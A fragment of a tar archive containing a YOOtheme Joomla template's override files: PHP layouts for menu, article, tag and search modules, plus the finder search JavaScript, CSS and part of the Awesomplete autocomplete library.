class="uk-badge"><?= $item->numitems ?></span> <?php endif ?> </a> <?php if ($params->get('show_description', 0) && $item->description) : ?> <div><?= HTMLHelper::_('content.prepare', $item->description, $item->getParams(), 'mod_articles_categories.content') ?></div> <?php endif ?> <?php if ($params->get('show_children', 0) && (($params->get('maxlevel', 0) == 0) || ($params->get('maxlevel') >= ($item->level - $startLevel))) && count($item->getChildren())) : ?> <ul class="uk-list"> <?php $temp = $list; $list = $item->getChildren(); require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items'); $list = $temp; ?> </ul> <?php endif ?> </li> <?php endforeach ?> mod_articles_categories/default.php000060400000000351151666571460013567 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <ul class="categories-module"> <?php require ModuleHelper::getLayoutPath('mod_articles_categories', $params->get('layout', 'default') . '_items') ?> </ul> mod_tags_similar/default.php000060400000002014151666571460012230 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\RouteHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use Joomla\Component\Tags\Site\Helper\RouteHelper as TagsRouteHelper; ?> <?php if ($list) : ?> <ul class="tagssimilar"> <?php foreach ($list as $item) : ?> <?php if (empty($item->core_title)) continue ?> <li> <?php if (($item->type_alias == 'com_users.category') || ($item->type_alias == 'com_banners.category')) : ?> <?= htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8') ?> <?php else: $item->route = new RouteHelper() ?> <a href="<?= Route::_(TagsRouteHelper::getItemRoute($item->content_item_id, $item->core_alias, $item->core_catid, $item->core_language, $item->type_alias, $item->router)) ?>"> <?= htmlspecialchars($item->core_title, ENT_COMPAT, 'UTF-8') ?> </a> <?php endif ?> </li> <?php endforeach ?> </ul> <?php else : ?> <span><?= Text::_('MOD_TAGS_SIMILAR_NO_MATCHING_TAGS') ?></span> <?php endif ?> mod_menu/default.php000060400000005652151666571460010531 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; [$view, $config] = app(View::class, Config::class); if (!count($list)) { return; } $items = []; $parents = []; // Add module class $attrs = ['class' => [$params['class_sfx']]]; foreach ($list as $_item) { $item = clone $_item; $item_params = $_item->getParams(); $alias_id = $item_params['aliasoptions']; // set active state if ($item->id == $active_id || ($item->type == 'alias' && $alias_id == $active_id)) { $item->active = true; } if (in_array($item->id, $path)) { $item->active = true; } if ($item->active) { foreach ($parents as $parent) { $parent->active = true; } } // normalize menu item $item->url = $item->flink; $item->target = ($item->browserNav == 1 || $item->browserNav == 2) ? '_blank' : ''; $item->active = $item->active ?: false; $item->divider = $item->type === 'separator'; $item->type = $item->type == 'separator' ? 'heading' : $item->type; $item->class = "item-{$item->id}"; // update menu item params $config->update("~theme.menu.items.{$item->id}", fn($values) => array_merge($values ?: [], [ 'image' => empty($values['image']) ? $item_params['menu_image'] : $values['image'], 'image_only' => empty($values['image_only']) ? !$item_params['menu_text'] : $values['image_only'], 'image_classes' => $item_params['menu_image_css'], ]) ); // add to parent if ($parent = end($parents)) { $parent->children[] = $item; } else { $items[] = $item; } // set/remove parent if ($item->deeper) { $parents[] = $item; $item->children = []; } elseif ($item->shallower) { array_splice($parents, -$item->level_diff); } } // Add "module-{id}" to <ul> on navbar position if no tag_id is specified // See Navbar positions in module.php which don't render module markup $layout = $config('~theme.header.layout'); if ($module->id && is_numeric($module->id) && !$params['tag_id'] && (in_array($module->position, ['navbar', 'navbar-push','navbar-mobile', 'header-mobile']) || (in_array($module->position, ['header', 'header-split']) && str_starts_with($layout, 'horizontal')) || ($module->position == 'logo' && preg_match('/^(horizontal|stacked-center-split-[ab])/', $layout)) || $module->position == 'logo-mobile') && in_array($config("~theme.modules.{$module->id}.menu_type"), ['', 'nav']) ) { $params['tag_id'] = "module-{$module->id}"; } $settings = []; foreach ($config("~theme.modules.{$module->id}", []) as $key => $value) { if (str_starts_with($key, 'menu_')) { $settings[substr($key, 5)] = $value; } } // set menu config $config->set('~menu', [ 'tag_id' => $params['tag_id'], 'position' => $module->position, ] + $settings); echo $view('~theme/templates/menu/menu', ['items' => $items, 'attrs' => $attrs]); mod_menu/collapse-default.php000060400000000203151666571460012314 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; require ModuleHelper::getLayoutPath('mod_menu', 'default'); mod_articles_latest/default.php000060400000000306151666571460012736 0ustar00<?php defined('_JEXEC') or die; ?> <ul class="latestnews"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> mod_articles_popular/default.php000060400000000304151666571460013122 0ustar00<?php defined('_JEXEC') or die; ?> <ul class="mostread"> <?php foreach ($list as $item) : ?> <li><a href="<?= $item->link ?>"><?= $item->title ?></a></li> <?php endforeach ?> </ul> pagination.php000060400000001003151666571460007415 0ustar00<?php use Joomla\CMS\Layout\LayoutHelper; use YOOtheme\Path; defined('_JEXEC') or die; // prefer child theme's pagination if (Path::get(__FILE__) !== $file = Path::get('~theme/html/pagination.php')) { return include $file; } function pagination_item_active($item) { return LayoutHelper::render('joomla.pagination.link', ['data' => $item, 'active' => true]); } function pagination_item_inactive($item) { return LayoutHelper::render('joomla.pagination.link', ['data' => $item, 'active' => false]); } mod_articles_news/default.php000060400000000253151666571460012417 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; foreach ($list as $item) { include ModuleHelper::getLayoutPath('mod_articles_news', '_item'); } mod_articles_news/horizontal.php000060400000000642151666571460013166 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <?php if (count($list) > 0) : ?> <ul class="newsflash" uk-grid> <?php for ($i = 0, $count = count($list); $i < $count; $i++) : ?> <?php $item = $list[$i] ?> <li class="uk-width-1-<?= $count ?>@m"> <?php include ModuleHelper::getLayoutPath('mod_articles_news', '_item') ?> </li> <?php endfor ?> </ul> <?php endif ?> mod_articles_news/vertical.php000060400000000571151666571460012607 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\Helper\ModuleHelper; ?> <?php if (count($list) > 0) : ?> <ul class="uk-list uk-list-divider newsflash"> <?php for ($i = 0, $n = count($list); $i < $n; $i++) : ?> <?php $item = $list[$i] ?> <li><?php include ModuleHelper::getLayoutPath('mod_articles_news', '_item') ?></li> <?php endfor ?> </ul> <?php endif ?> mod_articles_news/_item.php000060400000003031151666571460012065 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Uri\Uri; $view = app(View::class); $title_element = $params->get('item_heading', 'h4'); if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) { if ($view->isImage($item->imageSrc) == 'svg') { $img = $view->image($item->imageSrc, ['loading' => 'lazy', 'alt' => $item->imageAlt]); } else { $img = $view->image([$item->imageSrc, 'thumbnail' => ['auto', 'auto'], 'srcset' => true], ['loading' => 'lazy', 'alt' => $item->imageAlt]); } } ?> <?php if ($params->get('item_title')) : ?> <<?= $title_element ?>> <?php if ($params->get('link_titles') && $item->link != '') : ?> <a href="<?= $item->link ?>"><?= $item->title ?></a> <?php else : ?> <?= $item->title ?> <?php endif ?> </<?= $title_element ?>> <?php endif ?> <?php if ($params->get('img_intro_full') !== 'none' && !empty($item->imageSrc)) : ?> <div property="image" typeof="ImageObject" vocab="https://schema.org/"> <meta property="url" content="<?= Uri::base() . HTMLHelper::_('cleanImageURL', $item->imageSrc)->url ?>"> <?= $img ?> </div> <?php endif ?> <?php if (!$params->get('intro_only')) echo $item->afterDisplayTitle ?> <?= $item->beforeDisplayContent ?> <?= $item->introtext ?> <?= $item->afterDisplayContent ?> <?php if (isset($item->link) && $item->readmore && $params->get('readmore')) : ?> <p><a class="uk-button uk-button-text" href="<?= $item->link ?>"><?= $item->linkText ?></a></p> <?php endif ?> com_finder/search/default_results.php000060400000011222151666571460014047 0ustar00<?php namespace YOOtheme; defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Router\Route; use Joomla\CMS\Uri\Uri; use Joomla\String\StringHelper; $view = app(View::class); // Article template $article = $view('~theme/templates/article{-search,}', function ($result) { $article = [ // Article 'article' => $result, 'link' => $result->route, // Params 'params' => [ 'show_title' => true, 'link_titles' => true, ], ]; if ($this->params->get('show_description', 1)) { // Calculate number of characters to display around the result $term_length = StringHelper::strlen($this->query->input); $desc_length = $this->params->get('description_length', 255); $pad_length = $term_length < $desc_length ? floor(($desc_length - $term_length) / 2) : 0; // Find the position of the search term $pos = $term_length ? StringHelper::strpos(StringHelper::strtolower($result->description), StringHelper::strtolower($this->query->input)) : false; // Find a potential start point $start = ($pos && $pos > $pad_length) ? $pos - $pad_length : 0; // Find a space between $start and $pos, start right after it. $space = StringHelper::strpos($result->description, ' ', $start > 0 ? $start - 1 : 0); $start = ($space && $space < $pos) ? $space + 1 : $start; $article['content'] = HTMLHelper::_('string.truncate', StringHelper::substr($result->description, $start), $desc_length, true); } if (version_compare(JVERSION, '4.0', '<')) { // Get the route with highlighting information. if (!empty($this->query->highlight) && empty($result->mime) && $this->params->get('highlight_terms', 1) && PluginHelper::isEnabled('system', 'highlight')) { $article['link'] .= '&highlight=' . base64_encode(json_encode($this->query->highlight)); } } return $article; }); ?> <?php // Display the suggested search if it is different from the current search. ?> <?php if (($this->suggested && $this->params->get('show_suggested_query', 1)) || ($this->explained && $this->params->get('show_explained_query', 1))) : ?> <p> <?php // Display the suggested search query. ?> <?php if ($this->suggested && $this->params->get('show_suggested_query', 1)) : ?> <?php // Replace the base query string with the suggested query string. ?> <?php $uri = Uri::getInstance($this->query->toUri()) ?> <?php $uri->setVar('q', $this->suggested) ?> <?php // Compile the suggested query link. ?> <?php $linkUrl = Route::_($uri->toString(['path', 'query'])) ?> <?php $link = '<a href="' . $linkUrl . '">' . $this->escape($this->suggested) . '</a>' ?> <?= Text::sprintf('COM_FINDER_SEARCH_SIMILAR', $link) ?> <?php // Display the explained search query. ?> <?php elseif ($this->explained && $this->params->get('show_explained_query', 1)) : ?> <?= $this->explained ?> <?php endif ?> </p> <?php endif ?> <?php // Display the 'no results' message and exit the template. ?> <?php if ($this->total == 0) : ?> <h1 class="uk-h2"><?= Text::_('COM_FINDER_SEARCH_NO_RESULTS_HEADING') ?></h1> <?php $multilang = Factory::getApplication()->getLanguageFilter() ? '_MULTILANG' : '' ?> <p><?= Text::sprintf('COM_FINDER_SEARCH_NO_RESULTS_BODY' . $multilang, $this->escape($this->query->input)) ?></p> <?php // Exit this template. ?> <?php else : ?> <?php // Activate the highlighter if enabled. ?> <?php if (!empty($this->query->highlight) && $this->params->get('highlight_terms', 1)) : ?> <?php if (version_compare(JVERSION, '4.0', '<')) { HTMLHelper::_('behavior.highlighter', $this->query->highlight); } else { $this->document->getWebAssetManager()->useScript('highlight'); $this->document->addScriptOptions( 'highlight', [[ 'class' => 'js-highlight', 'highLight' => $this->query->highlight, ]] ); } ?> <?php endif ?> <?php // Display a list of results ?> <?php if (version_compare(JVERSION, '4.0', '<')) : ?> <br id="highlighter-start" /> <?php foreach ($this->results as $result) : ?> <?= $article($result) ?> <?php endforeach ?> <br id="highlighter-end" /> <?php else : ?> <div class="js-highlight"> <?php foreach ($this->results as $result) : ?> <?= $article($result) ?> <?php endforeach ?> </div> <?php endif ?> <?= $this->pagination->getPagesLinks() ?> <?php endif ?> com_finder/search/default.php000060400000002631151666571460012272 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use YOOtheme\Path; use YOOtheme\Url; if (version_compare(JVERSION, '4.0', '<')) { HTMLHelper::_('behavior.core'); $this->document->addStylesheet( Url::to(Path::get('~theme/html/com_finder/assets/com_finder/css/finder.min.css')), ['version' => 'auto'] ); $this->document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/com_finder/js/finder.min.js')), ['version' => 'auto'], ['defer' => true] ); } else { $this->document->getWebAssetManager() ->useStyle('com_finder.finder') ->useScript('com_finder.finder'); } ?> <div class="finder <?= $this->pageclass_sfx ?>"> <?php if ($this->params->get('show_page_heading')) : ?> <h1> <?php if ($this->escape($this->params->get('page_heading'))) : ?> <?= $this->escape($this->params->get('page_heading')) ?> <?php else : ?> <?= $this->escape($this->params->get('page_title')) ?> <?php endif ?> </h1> <?php endif ?> <?php if ($this->params->get('show_search_form', 1)) : ?> <?= $this->loadTemplate('form') ?> <?php endif ?> <?php // Load the search results layout if we are performing a search. ?> <?php if ($this->query->search === true) : ?> <?= $this->loadTemplate('results') ?> <?php endif ?> </div> com_finder/search/default_form.php000060400000007214151666571460013317 0ustar00<?php defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Language\Text; use Joomla\CMS\Router\Route; use YOOtheme\Path; use YOOtheme\Url; // This segment of code sets up the autocompleter. if ($this->params->get('show_autosuggest', 1)) { if (version_compare(JVERSION, '4.0', '<')) { $this->document->addScript( Url::to(Path::get('~theme/html/com_finder/assets/awesomplete/js/awesomplete.min.js')), ['version' => 'auto'] ); } else { $assetManager = $this->document->getWebAssetManager(); $assetManager->usePreset('awesomplete'); $assetManager->disableStyle('awesomplete'); Text::script('JLIB_JS_AJAX_ERROR_OTHER'); Text::script('JLIB_JS_AJAX_ERROR_PARSE'); } $this->document->addScriptOptions('finder-search', ['url' => Route::_('index.php?option=com_finder&task=suggestions.suggest&format=json&tmpl=component')]); } ?> <form action="<?= Route::_($this->query->toUri()) ?>" method="get" class="form-inline js-finder-searchform"> <?= $this->getFields() ?> <fieldset class="word"> <div class="uk-grid-small" uk-grid> <div class="uk-width-expand@s"> <div class="uk-search uk-search-default uk-width-1-1"> <input id="q" class="uk-search-input<?= $this->params->get('show_autosuggest', 1) ? ' js-finder-search-query' : ''?>" type="text" name="q" placeholder="<?= Text::_('TPL_YOOTHEME_SEARCH') ?>" size="30" value="<?= $this->escape($this->query->input) ?>" aria-label="<?= Text::_('TPL_YOOTHEME_SEARCH') ?>"> </div> </div> <div class="uk-width-auto@s"> <div class="uk-grid-small" uk-grid> <div class="uk-width-auto@s"> <button name="Search" type="submit" class="uk-button uk-button-primary uk-width-1-1"><?= Text::_('JSEARCH_FILTER_SUBMIT') ?></button> </div> <?php if ($this->params->get('show_advanced', 1)) : ?> <div class="uk-width-auto@s"><a href="#advancedSearch" uk-toggle="target: #advancedSearch" class="uk-button uk-button-default uk-width-1-1"><?= Text::_('COM_FINDER_ADVANCED_SEARCH_TOGGLE') ?></a></div> <?php endif ?> </div> </div> </div> </fieldset> <?php if ($this->params->get('show_advanced', 1)) : ?> <div id="advancedSearch" class="uk-margin js-finder-advanced" <?php if (!$this->params->get('expand_advanced', 0)) echo ' hidden' ?>> <?php if ($this->params->get('show_advanced_tips', 1)) : ?> <?php if (version_compare(JVERSION, '4.0', '<')) : ?> <?= Text::_('COM_FINDER_ADVANCED_TIPS') ?> <?php else : ?> <div> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_INTRO'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_AND'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_NOT'); ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OR'); ?> <?php if ($this->params->get('tuplecount', 1) > 1) : ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_PHRASE'); ?> <?php endif; ?> <?php echo Text::_('COM_FINDER_ADVANCED_TIPS_OUTRO'); ?> </div> <?php endif ?> <?php endif; ?> <div id="finder-filter-window"> <?= HTMLHelper::_('filter.select', $this->query, $this->params) ?> </div> </div> <?php endif ?> </form> com_finder/assets/com_finder/js/finder.min.js000060400000002146151666571470015304 0ustar00((e,t,r,s)=>{if(!t)throw new Error("core.js was not properly initialised");const o=({target:e})=>{e.value.length>1&&(e.awesomplete.list=[],t.request({url:`${t.getOptions("finder-search").url}&q=${e.value}`,method:"GET",data:{q:e.value},perform:!0,headers:{"Content-Type":"application/x-www-form-urlencoded"},onSuccess:t=>{const r=JSON.parse(t);"[object Array]"===Object.prototype.toString.call(r.suggestions)&&(e.awesomplete.list=r.suggestions)},onError:e=>{e.status>0&&t.renderMessages(t.ajaxErrorsMessages(e))}}))},a=e=>{e.stopPropagation();const t=e.target.querySelector(".js-finder-advanced");if(t){[].slice.call(t.querySelectorAll("select")).forEach((e=>{e.value||e.setAttribute("disabled","disabled")}))}},n=()=>{[].slice.call(s.querySelectorAll(".js-finder-search-query")).forEach((r=>{t.getOptions("finder-search")&&(r.awesomplete=new e(r),r.addEventListener("input",o))}));[].slice.call(s.querySelectorAll(".js-finder-searchform")).forEach((e=>{e.addEventListener("submit",a)})),s.removeEventListener("DOMContentLoaded",n)};s.addEventListener("DOMContentLoaded",n)})(window.Awesomplete,window.Joomla,window,document);com_finder/assets/com_finder/js/finder.js000060400000004555151666571470014530 0ustar00/** * @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ ((Awesomplete, Joomla, window, document) => { if (!Joomla) { throw new Error('core.js was not properly initialised'); } // Handle the autocomplete const onInputChange = ({ target }) => { if (target.value.length > 1) { target.awesomplete.list = []; Joomla.request({ url: `${Joomla.getOptions('finder-search').url}&q=${target.value}`, method: 'GET', data: { q: target.value }, perform: true, headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, onSuccess: resp => { const response = JSON.parse(resp); if (Object.prototype.toString.call(response.suggestions) === '[object Array]') { target.awesomplete.list = response.suggestions; } }, onError: xhr => { if (xhr.status > 0) { Joomla.renderMessages(Joomla.ajaxErrorsMessages(xhr)); } } }); } }; // Handle the submit const onSubmit = event => { event.stopPropagation(); const advanced = event.target.querySelector('.js-finder-advanced'); // Disable select boxes with no value selected. if (advanced) { const fields = [].slice.call(advanced.querySelectorAll('select')); fields.forEach(field => { if (!field.value) { field.setAttribute('disabled', 'disabled'); } }); } }; // The boot sequence const onBoot = () => { const searchWords = [].slice.call(document.querySelectorAll('.js-finder-search-query')); searchWords.forEach(searchword => { // Handle the auto suggestion if (Joomla.getOptions('finder-search')) { searchword.awesomplete = new Awesomplete(searchword); // If the current value is empty, set the previous value. searchword.addEventListener('input', onInputChange); } }); const forms = [].slice.call(document.querySelectorAll('.js-finder-searchform')); forms.forEach(form => { form.addEventListener('submit', onSubmit); }); // Cleanup document.removeEventListener('DOMContentLoaded', onBoot); }; document.addEventListener('DOMContentLoaded', onBoot); })(window.Awesomplete, window.Joomla, window, document); com_finder/assets/com_finder/css/finder.min.css000060400000003000151666571470015622 0ustar00.com-finder *{margin-bottom:0}.com-finder>*+*,.com-finder__results>*+*{margin-top:1.5em}.com-finder__explained span.branch,.com-finder__explained span.date,.com-finder__explained span.node,.com-finder__explained span.op,.com-finder__explained span.term,.com-finder__explained span.when{font-weight:800}.com-finder__explained span.op{text-transform:uppercase}.com-finder__results-list{list-style:none;padding:0}.result__item+.result__item{margin-top:1.5em;padding-top:1.5em;border-top:1px solid}.result__item>*{margin-bottom:0}.result__item>*+*{margin-top:.25em}.result__title-link{display:flex;flex-direction:column}.result__title-text{font-size:1.3rem}.result__title-url{order:-1;margin-bottom:.25em;color:#575757;font-style:normal}.result__title-link:focus,.result__title-link:hover{text-decoration:none}.result__title-link:focus .result__title-text,.result__title-link:hover .result__title-text{text-decoration:underline}.result__date{color:#575757}.result__date:after{content:"-"}.result__taxonomy{padding:0;list-style:none}.result__taxonomy-item{display:inline-block}.result__taxonomy-item+.result__taxonomy-item{margin-left:.5em}.result__taxonomy-item+.result__taxonomy-item:before{content:"|";padding-right:.5em}.result__item .highlight{position:relative}.result__item .highlight:before{content:"";position:absolute;z-index:-1;top:50%;left:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%);width:calc(100% + 6px);height:calc(100% + 2px);background:rgba(255,255,0,.5);pointer-events:none;border-radius:3px}com_finder/assets/com_finder/css/finder.css000060400000004072151666571470015052 0ustar00/** * Styling search results page */ .com-finder * { margin-bottom: 0; } .com-finder > * + *, .com-finder__results > * + * { margin-top: 1.5em; } /** * Styling search explained */ .com-finder__explained span.term, .com-finder__explained span.date, .com-finder__explained span.when, .com-finder__explained span.branch, .com-finder__explained span.node, .com-finder__explained span.op { font-weight: 800; } .com-finder__explained span.op { text-transform: uppercase; } /** * Styling search result items list */ .com-finder__results-list { list-style: none; padding: 0; } /** * Styling search result item */ .result__item + .result__item { margin-top: 1.5em; padding-top: 1.5em; border-top: 1px solid currentColor; } .result__item > * { margin-bottom: 0; } .result__item > * + * { margin-top: .25em; } .result__title-link { display: flex; flex-direction: column; } .result__title-text { font-size: 1.3rem; } .result__title-url { order: -1; margin-bottom: .25em; color: hsl(0, 0%, 34%); font-style: normal; } .result__title-link:focus, .result__title-link:hover { text-decoration: none; } .result__title-link:focus .result__title-text, .result__title-link:hover .result__title-text { text-decoration: underline; } .result__date { color: hsl(0, 0%, 34%); } .result__date:after { content: "-"; } .result__taxonomy { padding: 0; list-style: none; } .result__taxonomy-item { display: inline-block; } .result__taxonomy-item + .result__taxonomy-item { margin-left: .5em; } .result__taxonomy-item + .result__taxonomy-item:before { content: "|"; padding-right: .5em; } /** * Styling search word highlight */ .result__item .highlight { position: relative; } .result__item .highlight:before { content: ''; position: absolute; z-index: -1; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); -ms-transform: translate(-50%, -50%); transform: translate(-50%, -50%); width: calc(100% + 6px); height: calc(100% + 2px); background: hsla(60, 100%, 50%, .5); pointer-events: none; border-radius: 3px; } com_finder/assets/awesomplete/css/awesomplete.css.map000060400000005277151666571470017134 0ustar00{"version":3,"sources":["awesomplete.base.css","awesomplete.theme.css"],"names":[],"mappings":"AAAA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;ACjCA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA;AACA","file":"awesomplete.css","sourcesContent":[".awesomplete [hidden] {\n display: none;\n}\n\n.awesomplete .visually-hidden {\n position: absolute;\n clip: rect(0, 0, 0, 0);\n}\n\n.awesomplete {\n display: inline-block;\n position: relative;\n}\n\n.awesomplete > input {\n display: block;\n}\n\n.awesomplete > ul {\n position: absolute;\n left: 0;\n z-index: 1;\n min-width: 100%;\n box-sizing: border-box;\n list-style: none;\n padding: 0;\n margin: 0;\n background: #fff;\n}\n\n.awesomplete > ul:empty {\n display: none;\n}\n",".awesomplete > ul {\n\tborder-radius: .3em;\n\tmargin: .2em 0 0;\n\tbackground: hsla(0,0%,100%,.9);\n\tbackground: linear-gradient(to bottom right, white, hsla(0,0%,100%,.8));\n\tborder: 1px solid rgba(0,0,0,.3);\n\tbox-shadow: .05em .2em .6em rgba(0,0,0,.2);\n\ttext-shadow: none;\n}\n\n@supports (transform: scale(0)) {\n\t.awesomplete > ul {\n\t\ttransition: .3s cubic-bezier(.4,.2,.5,1.4);\n\t\ttransform-origin: 1.43em -.43em;\n\t}\n\t\n\t.awesomplete > ul[hidden],\n\t.awesomplete > ul:empty {\n\t\topacity: 0;\n\t\ttransform: scale(0);\n\t\tdisplay: block;\n\t\ttransition-timing-function: ease;\n\t}\n}\n\n\t/* Pointer */\n\t.awesomplete > ul:before {\n\t\tcontent: \"\";\n\t\tposition: absolute;\n\t\ttop: -.43em;\n\t\tleft: 1em;\n\t\twidth: 0; height: 0;\n\t\tpadding: .4em;\n\t\tbackground: white;\n\t\tborder: inherit;\n\t\tborder-right: 0;\n\t\tborder-bottom: 0;\n\t\t-webkit-transform: rotate(45deg);\n\t\ttransform: rotate(45deg);\n\t}\n\n\t.awesomplete > ul > li {\n\t\tposition: relative;\n\t\tpadding: .2em .5em;\n\t\tcursor: pointer;\n\t}\n\t\n\t.awesomplete > ul > li:hover {\n\t\tbackground: hsl(200, 40%, 80%);\n\t\tcolor: black;\n\t}\n\t\n\t.awesomplete > ul > li[aria-selected=\"true\"] {\n\t\tbackground: hsl(205, 40%, 40%);\n\t\tcolor: white;\n\t}\n\t\n\t\t.awesomplete mark {\n\t\t\tbackground: hsl(65, 100%, 50%);\n\t\t}\n\t\t\n\t\t.awesomplete li:hover mark {\n\t\t\tbackground: hsl(68, 100%, 41%);\n\t\t}\n\t\t\n\t\t.awesomplete li[aria-selected=\"true\"] mark {\n\t\t\tbackground: hsl(86, 100%, 21%);\n\t\t\tcolor: inherit;\n\t\t}"]}com_finder/assets/awesomplete/css/awesomplete.css000060400000003605151666571470016351 0ustar00.awesomplete [hidden] { display: none; } .awesomplete .visually-hidden { position: absolute; clip: rect(0, 0, 0, 0); } .awesomplete { display: inline-block; position: relative; } .awesomplete > input { display: block; } .awesomplete > ul { position: absolute; left: 0; z-index: 1; min-width: 100%; box-sizing: border-box; list-style: none; padding: 0; margin: 0; background: #fff; } .awesomplete > ul:empty { display: none; } .awesomplete > ul { border-radius: .3em; margin: .2em 0 0; background: hsla(0,0%,100%,.9); background: linear-gradient(to bottom right, white, hsla(0,0%,100%,.8)); border: 1px solid rgba(0,0,0,.3); box-shadow: .05em .2em .6em rgba(0,0,0,.2); text-shadow: none; } @supports (transform: scale(0)) { .awesomplete > ul { transition: .3s cubic-bezier(.4,.2,.5,1.4); transform-origin: 1.43em -.43em; } .awesomplete > ul[hidden], .awesomplete > ul:empty { opacity: 0; transform: scale(0); display: block; transition-timing-function: ease; } } /* Pointer */ .awesomplete > ul:before { content: ""; position: absolute; top: -.43em; left: 1em; width: 0; height: 0; padding: .4em; background: white; border: inherit; border-right: 0; border-bottom: 0; -webkit-transform: rotate(45deg); transform: rotate(45deg); } .awesomplete > ul > li { position: relative; padding: .2em .5em; cursor: pointer; } .awesomplete > ul > li:hover { background: hsl(200, 40%, 80%); color: black; } .awesomplete > ul > li[aria-selected="true"] { background: hsl(205, 40%, 40%); color: white; } .awesomplete mark { background: hsl(65, 100%, 50%); } .awesomplete li:hover mark { background: hsl(68, 100%, 41%); } .awesomplete li[aria-selected="true"] mark { background: hsl(86, 100%, 21%); color: inherit; } /*# sourceMappingURL=awesomplete.css.map */ com_finder/assets/awesomplete/js/awesomplete.js000060400000031423151666571470016020 0ustar00/** * Simple, lightweight, usable local autocomplete library for modern browsers * Because there weren’t enough autocomplete scripts in the world? Because I’m completely insane and have NIH syndrome? Probably both. :P * @author Lea Verou http://leaverou.github.io/awesomplete * MIT license */ (function () { var _ = function (input, o) { var me = this; // Keep track of number of instances for unique IDs _.count = (_.count || 0) + 1; this.count = _.count; // Setup this.isOpened = false; this.input = $(input); this.input.setAttribute("autocomplete", "off"); this.input.setAttribute("aria-expanded", "false"); this.input.setAttribute("aria-owns", "awesomplete_list_" + this.count); this.input.setAttribute("role", "combobox"); // store constructor options in case we need to distinguish // between default and customized behavior later on this.options = o = o || {}; configure(this, { minChars: 2, maxItems: 10, autoFirst: false, data: _.DATA, filter: _.FILTER_CONTAINS, sort: o.sort === false ? false : _.SORT_BYLENGTH, container: _.CONTAINER, item: _.ITEM, replace: _.REPLACE, tabSelect: false }, o); this.index = -1; // Create necessary elements this.container = this.container(input); this.ul = $.create("ul", { hidden: "hidden", role: "listbox", id: "awesomplete_list_" + this.count, inside: this.container }); this.status = $.create("span", { className: "visually-hidden", role: "status", "aria-live": "assertive", "aria-atomic": true, inside: this.container, textContent: this.minChars != 0 ? ("Type " + this.minChars + " or more characters for results.") : "Begin typing for results." }); // Bind events this._events = { input: { "input": this.evaluate.bind(this), "blur": this.close.bind(this, { reason: "blur" }), "keydown": function(evt) { var c = evt.keyCode; // If the dropdown `ul` is in view, then act on keydown for the following keys: // Enter / Esc / Up / Down if(me.opened) { if (c === 13 && me.selected) { // Enter evt.preventDefault(); me.select(undefined, undefined, evt); } else if (c === 9 && me.selected && me.tabSelect) { me.select(undefined, undefined, evt); } else if (c === 27) { // Esc me.close({ reason: "esc" }); } else if (c === 38 || c === 40) { // Down/Up arrow evt.preventDefault(); me[c === 38? "previous" : "next"](); } } } }, form: { "submit": this.close.bind(this, { reason: "submit" }) }, ul: { // Prevent the default mousedowm, which ensures the input is not blurred. // The actual selection will happen on click. This also ensures dragging the // cursor away from the list item will cancel the selection "mousedown": function(evt) { evt.preventDefault(); }, // The click event is fired even if the corresponding mousedown event has called preventDefault "click": function(evt) { var li = evt.target; if (li !== this) { while (li && !/li/i.test(li.nodeName)) { li = li.parentNode; } if (li && evt.button === 0) { // Only select on left click evt.preventDefault(); me.select(li, evt.target, evt); } } } } }; $.bind(this.input, this._events.input); $.bind(this.input.form, this._events.form); $.bind(this.ul, this._events.ul); if (this.input.hasAttribute("list")) { this.list = "#" + this.input.getAttribute("list"); this.input.removeAttribute("list"); } else { this.list = this.input.getAttribute("data-list") || o.list || []; } _.all.push(this); }; _.prototype = { set list(list) { if (Array.isArray(list)) { this._list = list; } else if (typeof list === "string" && list.indexOf(",") > -1) { this._list = list.split(/\s*,\s*/); } else { // Element or CSS selector list = $(list); if (list && list.children) { var items = []; slice.apply(list.children).forEach(function (el) { if (!el.disabled) { var text = el.textContent.trim(); var value = el.value || text; var label = 